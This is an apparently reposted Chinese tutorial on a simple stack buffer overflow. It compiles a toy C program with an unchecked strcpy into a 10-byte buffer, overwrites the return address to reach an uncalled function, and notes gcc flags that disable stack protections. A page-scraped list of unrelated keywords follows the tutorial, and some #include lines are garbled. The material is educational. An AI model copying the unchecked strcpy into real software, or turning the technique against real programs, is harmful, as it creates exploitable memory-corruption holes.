简单栈溢出利用
发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,#include#includevoid fun(char *name){ char buf[10]; strcpy(buf,name); printf("%s\n",buf);}v
千家信息网最后更新 2026年10月31日简单栈溢出利用
#include#include void fun(char *name){ char buf[10]; strcpy(buf,name); printf("%s\n",buf);}void hack(){ printf("flag\n");}int main(){ char name[]="Alex@bbb"; fun(name); return 0;}
上面的程序是一个正常的C语言程序,但是main函数中没有调用hack()函数,下面我就演示下如何利用缓冲区溢出来执行hack函数的内容。
使用codeblocks编译并执行上述程序后,拖入od查看栈的变化情况,看看给变量name赋什么值的时候,会恰好覆盖掉call fun处的函数返回地址

F7跟进 F8 一句一句执行:
因此我们添加poc:
#include#include void fun(char *name){ char buf[10]; strcpy(buf,name); printf("%s\n",buf);}void hack(){ printf("flag\n");}int main(){ char name[]="Alex@bbbaaaaaaaaaaaaaa\x59\x13\x40\00"; //这里后边四个为hack()函数地址 fun(name); return 0;}
重新编译执行后,我们发现利用成功:
在使用ubuntu复现栈溢出的时候需要关闭栈保护机制:
使用gcc编译时全部关闭保护机制,参数-fno-stack-protector用来关闭gcc编译器gs验证码机制,
-z execstack用来关闭ld链接器堆栈段不可执行机制。
这里有一个linux下64位的栈溢出过程。
https://www.secpulse.com/archives/32328.html
函数
机制
编译
程序
地址
时候
保护
成功
内容
参数
变量
堆栈
情况
缓冲区
编译器
语言
语言程序
过程
链接
面的
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
科技互联网项目
互联网科技公司税收优惠
科技互联网技术
关于新基建和互联网科技
科技与互联网发展
睿民互联网科技
沃里互联网科技
互联网科技网站
互联网金融和金融科技
互联网科技类展会
太原新华互联网科技学校怎么样
互联网科技寓意
成都互联网科技公司100强
上海宁丞科技互联网
互联网科技和信息
元气玛特互联网科技公司是外包吗
南通创西澳互联网科技有限公司
亚光科技低轨卫星互联网
互联网科技大会大佬
黑龙江互联网科技公司
互联网科技公司的优势
互联网属科技
互联网科技集团
广州互联网络科技有限公司
宁波青枫互联网科技有限公司
北京华百购互联网科技有限公司
坤平互联网科技
互联网第三次科技革命特征
从那以后互联网科技有限公司
广州智享互联网科技